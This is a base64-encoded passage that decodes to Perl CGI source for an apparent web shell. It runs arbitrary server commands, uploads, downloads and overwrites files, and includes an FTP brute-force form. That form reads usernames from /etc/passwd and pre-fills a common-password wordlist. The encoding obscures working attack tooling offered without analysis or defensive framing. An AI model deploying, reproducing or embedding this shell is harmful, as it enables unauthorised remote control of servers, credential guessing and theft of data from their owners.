S0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODk